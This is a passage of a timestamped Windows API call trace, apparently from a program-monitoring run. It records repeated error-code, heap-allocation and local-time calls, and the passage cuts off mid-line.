[0056.733] GetLastError () returned 0x0 [0056.733] SetLastError (dwErrCode=0x0) [0056.734] GetLastError () returned 0x0 [0056.734] SetLastError (dwErrCode=0x0) [0056.734] GetLastError () returned 0x0 [0056.734] SetLastError (dwErrCode=0x0) [0056.734] GetLastError () returned 0x0 [0056.734] SetLastError (dwErrCode=0x0) [0056.734] GetLastError () returned 0x0 [0056.734] SetLastError (dwErrCode=0x0) [0056.734] GetLastError () returned 0x0 [0056.734] SetLastError (dwErrCode=0x0) [0056.734] GetLastError () returned 0x0 [0056.734] SetLastError (dwErrCode=0x0) [0056.734] GetLastError () returned 0x0 [0056.734] SetLastError (dwErrCode=0x0) [0056.734] GetLastError () returned 0x0 [0056.734] SetLastError (dwErrCode=0x0) [0056.734] GetLastError () returned 0x0 [0056.734] SetLastError (dwErrCode=0x0) [0056.734] GetLastError () returned 0x0 [0056.734] SetLastError (dwErrCode=0x0) [0056.734] GetLastError () returned 0x0 [0056.734] SetLastError (dwErrCode=0x0) [0056.734] GetLastError () returned 0x0 [0056.734] SetLastError (dwErrCode=0x0) [0056.734] GetLastError () returned 0x0 [0056.734] SetLastError (dwErrCode=0x0) [0056.734] GetLastError () returned 0x0 [0056.734] SetLastError (dwErrCode=0x0) [0056.734] GetLastError () returned 0x0 [0056.734] SetLastError (dwErrCode=0x0) [0056.734] GetLastError () returned 0x0 [0056.734] SetLastError (dwErrCode=0x0) [0056.734] GetLastError () returned 0x0 [0056.735] SetLastError (dwErrCode=0x0) [0056.735] GetLastError () returned 0x0 [0056.735] SetLastError (dwErrCode=0x0) [0056.735] GetLastError () returned 0x0 [0056.735] SetLastError (dwErrCode=0x0) [0056.735] GetLastError () returned 0x0 [0056.735] SetLastError (dwErrCode=0x0) [0056.735] GetLastError () returned 0x0 [0056.735] SetLastError (dwErrCode=0x0) [0056.735] GetLastError () returned 0x0 [0056.735] SetLastError (dwErrCode=0x0) [0056.735] GetLastError () returned 0x0 [0056.735] SetLastError (dwErrCode=0x0) [0056.735] GetLastError () returned 0x0 [0056.735] SetLastError (dwErrCode=0x0) [0056.735] GetLastError () returned 0x0 [0056.735] SetLastError (dwErrCode=0x0) [0056.735] GetLastError () returned 0x0 [0056.735] SetLastError (dwErrCode=0x0) [0056.735] GetLastError () returned 0x0 [0056.735] SetLastError (dwErrCode=0x0) [0056.735] GetLastError () returned 0x0 [0056.735] SetLastError (dwErrCode=0x0) [0056.735] GetLastError () returned 0x0 [0056.735] SetLastError (dwErrCode=0x0) [0056.735] GetLastError () returned 0x0 [0056.735] SetLastError (dwErrCode=0x0) [0056.735] GetLastError () returned 0x0 [0056.735] SetLastError (dwErrCode=0x0) [0056.735] GetLastError () returned 0x0 [0056.735] SetLastError (dwErrCode=0x0) [0056.735] GetLastError () returned 0x0 [0056.735] SetLastError (dwErrCode=0x0) [0056.735] GetLastError () returned 0x0 [0056.736] SetLastError (dwErrCode=0x0) [0056.736] GetLastError () returned 0x0 [0056.736] SetLastError (dwErrCode=0x0) [0056.736] GetLastError () returned 0x0 [0056.736] SetLastError (dwErrCode=0x0) [0056.736] GetLastError () returned 0x0 [0056.736] SetLastError (dwErrCode=0x0) [0056.736] GetLastError () returned 0x0 [0056.736] SetLastError (dwErrCode=0x0) [0056.736] GetLastError () returned 0x0 [0056.736] SetLastError (dwErrCode=0x0) [0056.736] GetLastError () returned 0x0 [0056.736] SetLastError (dwErrCode=0x0) [0056.736] GetLastError () returned 0x0 [0056.736] SetLastError (dwErrCode=0x0) [0056.736] GetLastError () returned 0x0 [0056.736] SetLastError (dwErrCode=0x0) [0056.736] GetLastError () returned 0x0 [0056.736] SetLastError (dwErrCode=0x0) [0056.736] GetLastError () returned 0x0 [0056.736] SetLastError (dwErrCode=0x0) [0056.736] GetLastError () returned 0x0 [0056.736] SetLastError (dwErrCode=0x0) [0056.736] GetLastError () returned 0x0 [0056.736] SetLastError (dwErrCode=0x0) [0056.736] GetLastError () returned 0x0 [0056.736] SetLastError (dwErrCode=0x0) [0056.736] GetLastError () returned 0x0 [0056.736] SetLastError (dwErrCode=0x0) [0056.736] GetLastError () returned 0x0 [0056.736] SetLastError (dwErrCode=0x0) [0056.736] GetLastError () returned 0x0 [0056.737] SetLastError (dwErrCode=0x0) [0056.737] GetLastError () returned 0x0 [0056.737] SetLastError (dwErrCode=0x0) [0056.737] GetLastError () returned 0x0 [0056.737] SetLastError (dwErrCode=0x0) [0056.737] GetLastError () returned 0x0 [0056.737] SetLastError (dwErrCode=0x0) [0056.737] GetLastError () returned 0x0 [0056.737] SetLastError (dwErrCode=0x0) [0056.737] GetLastError () returned 0x0 [0056.737] SetLastError (dwErrCode=0x0) [0056.737] GetLastError () returned 0x0 [0056.737] SetLastError (dwErrCode=0x0) [0056.737] GetLastError () returned 0x0 [0056.737] SetLastError (dwErrCode=0x0) [0056.737] GetLastError () returned 0x0 [0056.737] SetLastError (dwErrCode=0x0) [0056.737] GetLastError () returned 0x0 [0056.737] SetLastError (dwErrCode=0x0) [0056.737] GetLastError () returned 0x0 [0056.737] SetLastError (dwErrCode=0x0) [0056.737] GetLastError () returned 0x0 [0056.737] SetLastError (dwErrCode=0x0) [0056.737] GetLastError () returned 0x0 [0056.737] SetLastError (dwErrCode=0x0) [0056.737] GetLastError () returned 0x0 [0056.737] SetLastError (dwErrCode=0x0) [0056.737] GetLastError () returned 0x0 [0056.737] SetLastError (dwErrCode=0x0) [0056.737] GetLastError () returned 0x0 [0056.737] SetLastError (dwErrCode=0x0) [0056.737] GetLastError () returned 0x0 [0056.738] SetLastError (dwErrCode=0x0) [0056.738] GetLastError () returned 0x0 [0056.738] SetLastError (dwErrCode=0x0) [0056.738] GetLastError () returned 0x0 [0056.738] SetLastError (dwErrCode=0x0) [0056.738] GetLastError () returned 0x0 [0056.738] SetLastError (dwErrCode=0x0) [0056.738] GetLastError () returned 0x0 [0056.738] SetLastError (dwErrCode=0x0) [0056.738] GetLastError () returned 0x0 [0056.738] SetLastError (dwErrCode=0x0) [0056.738] GetLastError () returned 0x0 [0056.738] SetLastError (dwErrCode=0x0) [0056.738] GetLastError () returned 0x0 [0056.738] SetLastError (dwErrCode=0x0) [0056.738] GetLastError () returned 0x0 [0056.738] SetLastError (dwErrCode=0x0) [0056.738] GetLastError () returned 0x0 [0056.738] SetLastError (dwErrCode=0x0) [0056.738] GetLastError () returned 0x0 [0056.738] SetLastError (dwErrCode=0x0) [0056.738] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x82) returned 0x230d28 [0056.738] GetLastError () returned 0x0 [0056.738] SetLastError (dwErrCode=0x0) [0056.738] GetLastError () returned 0x0 [0056.738] SetLastError (dwErrCode=0x0) [0056.738] GetLastError () returned 0x0 [0056.738] SetLastError (dwErrCode=0x0) [0056.738] GetLastError () returned 0x0 [0056.738] SetLastError (dwErrCode=0x0) [0056.738] GetLastError () returned 0x0 [0056.738] SetLastError (dwErrCode=0x0) [0056.738] GetLastError () returned 0x0 [0056.739] SetLastError (dwErrCode=0x0) [0056.739] GetLastError () returned 0x0 [0056.739] SetLastError (dwErrCode=0x0) [0056.739] GetLastError () returned 0x0 [0056.739] SetLastError (dwErrCode=0x0) [0056.739] GetLastError () returned 0x0 [0056.739] SetLastError (dwErrCode=0x0) [0056.739] GetLastError () returned 0x0 [0056.739] SetLastError (dwErrCode=0x0) [0056.739] GetLastError () returned 0x0 [0056.739] SetLastError (dwErrCode=0x0) [0056.739] GetLastError () returned 0x0 [0056.739] SetLastError (dwErrCode=0x0) [0056.739] GetLastError () returned 0x0 [0056.739] SetLastError (dwErrCode=0x0) [0056.739] GetLastError () returned 0x0 [0056.739] SetLastError (dwErrCode=0x0) [0056.739] GetLastError () returned 0x0 [0056.739] SetLastError (dwErrCode=0x0) [0056.739] GetLastError () returned 0x0 [0056.739] SetLastError (dwErrCode=0x0) [0056.739] GetLastError () returned 0x0 [0056.739] SetLastError (dwErrCode=0x0) [0056.739] GetLastError () returned 0x0 [0056.739] SetLastError (dwErrCode=0x0) [0056.739] GetLastError () returned 0x0 [0056.739] SetLastError (dwErrCode=0x0) [0056.739] GetLastError () returned 0x0 [0056.739] SetLastError (dwErrCode=0x0) [0056.739] GetLastError () returned 0x0 [0056.739] SetLastError (dwErrCode=0x0) [0056.739] GetLastError () returned 0x0 [0056.739] SetLastError (dwErrCode=0x0) [0056.739] GetLastError () returned 0x0 [0056.739] SetLastError (dwErrCode=0x0) [0056.740] GetLastError () returned 0x0 [0056.740] SetLastError (dwErrCode=0x0) [0056.740] GetLastError () returned 0x0 [0056.740] SetLastError (dwErrCode=0x0) [0056.740] GetLastError () returned 0x0 [0056.740] SetLastError (dwErrCode=0x0) [0056.740] GetLastError () returned 0x0 [0056.740] SetLastError (dwErrCode=0x0) [0056.740] GetLastError () returned 0x0 [0056.740] SetLastError (dwErrCode=0x0) [0056.740] GetLastError () returned 0x0 [0056.740] SetLastError (dwErrCode=0x0) [0056.740] GetLastError () returned 0x0 [0056.740] SetLastError (dwErrCode=0x0) [0056.740] GetLastError () returned 0x0 [0056.740] SetLastError (dwErrCode=0x0) [0056.740] GetLastError () returned 0x0 [0056.740] SetLastError (dwErrCode=0x0) [0056.740] GetLastError () returned 0x0 [0056.740] SetLastError (dwErrCode=0x0) [0056.740] GetLastError () returned 0x0 [0056.740] SetLastError (dwErrCode=0x0) [0056.740] GetLastError () returned 0x0 [0056.740] SetLastError (dwErrCode=0x0) [0056.740] GetLastError () returned 0x0 [0056.740] SetLastError (dwErrCode=0x0) [0056.740] GetLastError () returned 0x0 [0056.740] SetLastError (dwErrCode=0x0) [0056.740] GetLastError () returned 0x0 [0056.740] SetLastError (dwErrCode=0x0) [0056.740] GetLastError () returned 0x0 [0056.740] SetLastError (dwErrCode=0x0) [0056.740] GetLastError () returned 0x0 [0056.740] SetLastError (dwErrCode=0x0) [0056.741] GetLastError () returned 0x0 [0056.741] SetLastError (dwErrCode=0x0) [0056.741] GetLastError () returned 0x0 [0056.741] SetLastError (dwErrCode=0x0) [0056.741] GetLastError () returned 0x0 [0056.741] SetLastError (dwErrCode=0x0) [0056.741] GetLastError () returned 0x0 [0056.741] SetLastError (dwErrCode=0x0) [0056.741] GetLastError () returned 0x0 [0056.741] SetLastError (dwErrCode=0x0) [0056.741] GetLastError () returned 0x0 [0056.741] SetLastError (dwErrCode=0x0) [0056.741] GetLastError () returned 0x0 [0056.741] SetLastError (dwErrCode=0x0) [0056.741] GetLastError () returned 0x0 [0056.741] SetLastError (dwErrCode=0x0) [0056.741] GetLastError () returned 0x0 [0056.741] SetLastError (dwErrCode=0x0) [0056.741] GetLastError () returned 0x0 [0056.741] SetLastError (dwErrCode=0x0) [0056.741] GetLastError () returned 0x0 [0056.741] SetLastError (dwErrCode=0x0) [0056.741] GetLastError () returned 0x0 [0056.741] SetLastError (dwErrCode=0x0) [0056.741] GetLastError () returned 0x0 [0056.741] SetLastError (dwErrCode=0x0) [0056.741] GetLastError () returned 0x0 [0056.741] SetLastError (dwErrCode=0x0) [0056.741] GetLastError () returned 0x0 [0056.741] SetLastError (dwErrCode=0x0) [0056.741] GetLastError () returned 0x0 [0056.741] SetLastError (dwErrCode=0x0) [0056.741] GetLastError () returned 0x0 [0056.742] SetLastError (dwErrCode=0x0) [0056.742] GetLastError () returned 0x0 [0056.742] SetLastError (dwErrCode=0x0) [0056.742] GetLastError () returned 0x0 [0056.742] SetLastError (dwErrCode=0x0) [0056.742] GetLastError () returned 0x0 [0056.742] SetLastError (dwErrCode=0x0) [0056.742] GetLastError () returned 0x0 [0056.742] SetLastError (dwErrCode=0x0) [0056.742] GetLastError () returned 0x0 [0056.742] SetLastError (dwErrCode=0x0) [0056.742] GetLastError () returned 0x0 [0056.742] SetLastError (dwErrCode=0x0) [0056.742] GetLastError () returned 0x0 [0056.742] SetLastError (dwErrCode=0x0) [0056.742] GetLastError () returned 0x0 [0056.742] SetLastError (dwErrCode=0x0) [0056.742] GetLastError () returned 0x0 [0056.742] SetLastError (dwErrCode=0x0) [0056.742] GetLastError () returned 0x0 [0056.742] SetLastError (dwErrCode=0x0) [0056.742] GetLastError () returned 0x0 [0056.742] SetLastError (dwErrCode=0x0) [0056.742] GetLastError () returned 0x0 [0056.742] SetLastError (dwErrCode=0x0) [0056.742] GetLastError () returned 0x0 [0056.742] SetLastError (dwErrCode=0x0) [0056.742] GetLastError () returned 0x0 [0056.742] SetLastError (dwErrCode=0x0) [0056.742] GetLastError () returned 0x0 [0056.743] SetLastError (dwErrCode=0x0) [0056.743] GetLastError () returned 0x0 [0056.743] SetLastError (dwErrCode=0x0) [0056.743] GetLastError () returned 0x0 [0056.743] SetLastError (dwErrCode=0x0) [0056.743] GetLastError () returned 0x0 [0056.743] SetLastError (dwErrCode=0x0) [0056.743] GetLastError () returned 0x0 [0056.743] SetLastError (dwErrCode=0x0) [0056.743] GetLastError () returned 0x0 [0056.743] SetLastError (dwErrCode=0x0) [0056.743] GetLastError () returned 0x0 [0056.743] SetLastError (dwErrCode=0x0) [0056.743] GetLastError () returned 0x0 [0056.743] SetLastError (dwErrCode=0x0) [0056.743] GetLastError () returned 0x0 [0056.743] SetLastError (dwErrCode=0x0) [0056.743] GetLastError () returned 0x0 [0056.743] SetLastError (dwErrCode=0x0) [0056.743] GetLastError () returned 0x0 [0056.743] SetLastError (dwErrCode=0x0) [0056.743] GetLastError () returned 0x0 [0056.743] SetLastError (dwErrCode=0x0) [0056.743] GetLastError () returned 0x0 [0056.743] SetLastError (dwErrCode=0x0) [0056.743] GetLastError () returned 0x0 [0056.743] SetLastError (dwErrCode=0x0) [0056.743] GetLastError () returned 0x0 [0056.743] SetLastError (dwErrCode=0x0) [0056.743] GetLastError () returned 0x0 [0056.743] SetLastError (dwErrCode=0x0) [0056.743] GetLastError () returned 0x0 [0056.744] SetLastError (dwErrCode=0x0) [0056.744] GetLastError () returned 0x0 [0056.744] SetLastError (dwErrCode=0x0) [0056.744] GetLastError () returned 0x0 [0056.744] SetLastError (dwErrCode=0x0) [0056.744] GetLastError () returned 0x0 [0056.744] SetLastError (dwErrCode=0x0) [0056.744] GetLastError () returned 0x0 [0056.744] SetLastError (dwErrCode=0x0) [0056.744] GetLastError () returned 0x0 [0056.744] SetLastError (dwErrCode=0x0) [0056.744] GetLastError () returned 0x0 [0056.744] SetLastError (dwErrCode=0x0) [0056.744] GetLastError () returned 0x0 [0056.744] SetLastError (dwErrCode=0x0) [0056.744] GetLastError () returned 0x0 [0056.744] SetLastError (dwErrCode=0x0) [0056.744] GetLastError () returned 0x0 [0056.744] SetLastError (dwErrCode=0x0) [0056.744] GetLastError () returned 0x0 [0056.744] SetLastError (dwErrCode=0x0) [0056.744] GetLastError () returned 0x0 [0056.744] SetLastError (dwErrCode=0x0) [0056.744] GetLastError () returned 0x0 [0056.744] SetLastError (dwErrCode=0x0) [0056.744] GetLastError () returned 0x0 [0056.744] SetLastError (dwErrCode=0x0) [0056.744] GetLastError () returned 0x0 [0056.744] SetLastError (dwErrCode=0x0) [0056.744] GetLastError () returned 0x0 [0056.744] SetLastError (dwErrCode=0x0) [0056.744] GetLastError () returned 0x0 [0056.744] SetLastError (dwErrCode=0x0) [0056.744] GetLastError () returned 0x0 [0056.745] SetLastError (dwErrCode=0x0) [0056.745] GetLastError () returned 0x0 [0056.745] SetLastError (dwErrCode=0x0) [0056.745] GetLastError () returned 0x0 [0056.745] SetLastError (dwErrCode=0x0) [0056.745] GetLastError () returned 0x0 [0056.745] SetLastError (dwErrCode=0x0) [0056.745] GetLastError () returned 0x0 [0056.745] SetLastError (dwErrCode=0x0) [0056.745] GetLastError () returned 0x0 [0056.745] SetLastError (dwErrCode=0x0) [0056.745] GetLastError () returned 0x0 [0056.745] SetLastError (dwErrCode=0x0) [0056.745] GetLastError () returned 0x0 [0056.745] SetLastError (dwErrCode=0x0) [0056.745] GetLastError () returned 0x0 [0056.745] SetLastError (dwErrCode=0x0) [0056.745] GetLastError () returned 0x0 [0056.745] SetLastError (dwErrCode=0x0) [0056.745] GetLastError () returned 0x0 [0056.745] SetLastError (dwErrCode=0x0) [0056.745] GetLastError () returned 0x0 [0056.745] SetLastError (dwErrCode=0x0) [0056.745] GetLastError () returned 0x0 [0056.745] SetLastError (dwErrCode=0x0) [0056.745] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x98) returned 0x230db8 [0056.745] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x1f) returned 0x22dd18 [0056.745] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x36) returned 0x230e58 [0056.745] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x37) returned 0x230e98 [0056.745] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x3c) returned 0x230ed8 [0056.745] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x31) returned 0x230f20 [0056.745] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x17) returned 0x230f60 [0056.745] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x24) returned 0x230f80 [0056.745] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x14) returned 0x230fb0 [0056.746] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0xd) returned 0x230fd0 [0056.746] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x25) returned 0x22fab8 [0056.746] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x39) returned 0x22fae8 [0056.746] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x18) returned 0x22fb30 [0056.746] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x17) returned 0x22fb50 [0056.746] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0xe) returned 0x22fb70 [0056.746] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x69) returned 0x22fb88 [0056.746] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x3e) returned 0x22fc00 [0056.746] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x1b) returned 0x22dd40 [0056.746] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x1d) returned 0x22dd68 [0056.746] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x48) returned 0x22fc48 [0056.746] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x12) returned 0x22fc98 [0056.746] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x18) returned 0x22fcb8 [0056.746] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x1b) returned 0x22dd90 [0056.746] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x24) returned 0x22fcd8 [0056.746] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x29) returned 0x22fd08 [0056.746] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x1e) returned 0x22ddb8 [0056.746] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x41) returned 0x22fd40 [0056.746] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x17) returned 0x22fd90 [0056.746] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0xf) returned 0x22fdb0 [0056.746] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x16) returned 0x22fdc8 [0056.746] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x2a) returned 0x22fde8 [0056.746] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x29) returned 0x22fe20 [0056.746] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x15) returned 0x22fe58 [0056.746] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x1e) returned 0x22dde0 [0056.746] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x2a) returned 0x22fe78 [0056.746] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x12) returned 0x22feb0 [0056.746] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x18) returned 0x22fed0 [0056.746] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x46) returned 0x22fef0 [0056.746] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x230590 | out: hHeap=0x220000) returned 1 [0056.747] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x80) returned 0x22ff40 [0056.747] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0056.747] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x800) returned 0x22ffc8 [0056.747] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0056.747] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x409ec9) returned 0x0 [0056.747] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x22ff40) returned 0x80 [0056.747] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x22ff40) returned 0x80 [0056.748] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x22ff40) returned 0x80 [0056.748] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x22ff40) returned 0x80 [0056.748] GetLastError () returned 0x0 [0056.748] SetLastError (dwErrCode=0x0) [0056.748] GetLastError () returned 0x0 [0056.748] SetLastError (dwErrCode=0x0) [0056.748] GetLastError () returned 0x0 [0056.748] SetLastError (dwErrCode=0x0) [0056.748] GetLastError () returned 0x0 [0056.748] SetLastError (dwErrCode=0x0) [0056.748] GetLastError () returned 0x0 [0056.748] SetLastError (dwErrCode=0x0) [0056.748] GetLastError () returned 0x0 [0056.748] SetLastError (dwErrCode=0x0) [0056.748] GetLastError () returned 0x0 [0056.748] SetLastError (dwErrCode=0x0) [0056.748] GetLastError () returned 0x0 [0056.748] SetLastError (dwErrCode=0x0) [0056.748] GetLastError () returned 0x0 [0056.748] SetLastError (dwErrCode=0x0) [0056.748] GetLastError () returned 0x0 [0056.748] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.749] GetLastError () returned 0x0 [0056.749] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.749] GetLastError () returned 0x0 [0056.749] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.749] GetLastError () returned 0x0 [0056.749] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.749] GetLastError () returned 0x0 [0056.749] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.749] GetLastError () returned 0x0 [0056.749] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.749] GetLastError () returned 0x0 [0056.749] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.749] GetLastError () returned 0x0 [0056.749] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.749] GetLastError () returned 0x0 [0056.749] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.749] GetLastError () returned 0x0 [0056.749] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.749] GetLastError () returned 0x0 [0056.749] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.749] GetLastError () returned 0x0 [0056.749] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.749] GetLastError () returned 0x0 [0056.749] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.749] GetLastError () returned 0x0 [0056.749] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.749] GetLastError () returned 0x0 [0056.749] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.749] GetLastError () returned 0x0 [0056.749] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.749] GetLastError () returned 0x0 [0056.749] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.749] GetLastError () returned 0x0 [0056.749] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.749] GetLastError () returned 0x0 [0056.749] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.749] GetLastError () returned 0x0 [0056.749] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.749] GetLastError () returned 0x0 [0056.749] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.749] GetLastError () returned 0x0 [0056.749] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.750] GetLastError () returned 0x0 [0056.750] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.750] GetLastError () returned 0x0 [0056.750] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.750] GetLastError () returned 0x0 [0056.750] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.750] GetLastError () returned 0x0 [0056.750] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, 